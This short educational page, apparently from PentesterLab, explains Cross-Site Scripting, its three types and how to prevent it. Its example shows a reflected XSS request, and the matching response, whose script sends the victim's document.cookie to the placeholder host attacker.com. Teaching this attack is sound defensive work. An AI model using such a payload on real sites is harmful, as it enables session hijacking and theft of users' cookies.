Cross-Site Scripting (XSS) is a client-side code injection attack that allows attackers to execute malicious scripts in victims' browsers. When a web application includes untrusted data in a page without proper validation or encoding, attackers can inject scripts that steal sensitive information, hijack user sessions, or perform actions on behalf of users.
Types of XSS
- Reflected XSS: The malicious script is reflected off the web server in error messages, search results, or other responses that include user input
- Stored XSS: The malicious script is permanently stored on the target server (database, message forum, comment field) and served to users
- DOM-based XSS: The vulnerability exists in client-side code rather than server-side, where the DOM environment is modified to execute malicious code
Example
A vulnerable search page that reflects user input:
GET /search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
Response:
<p>Search results for: <script>document.location='https://attacker.com/steal?c='+document.cookie</script></p>
Prevention
- Encode output data based on context (HTML, JavaScript, CSS, URL)
- Use Content Security Policy (CSP) to restrict script execution
- Validate and sanitize all user input
- Use HttpOnly and Secure flags on sensitive cookies
- Use modern frameworks that auto-escape by default
PentesterLab Exercises
See Also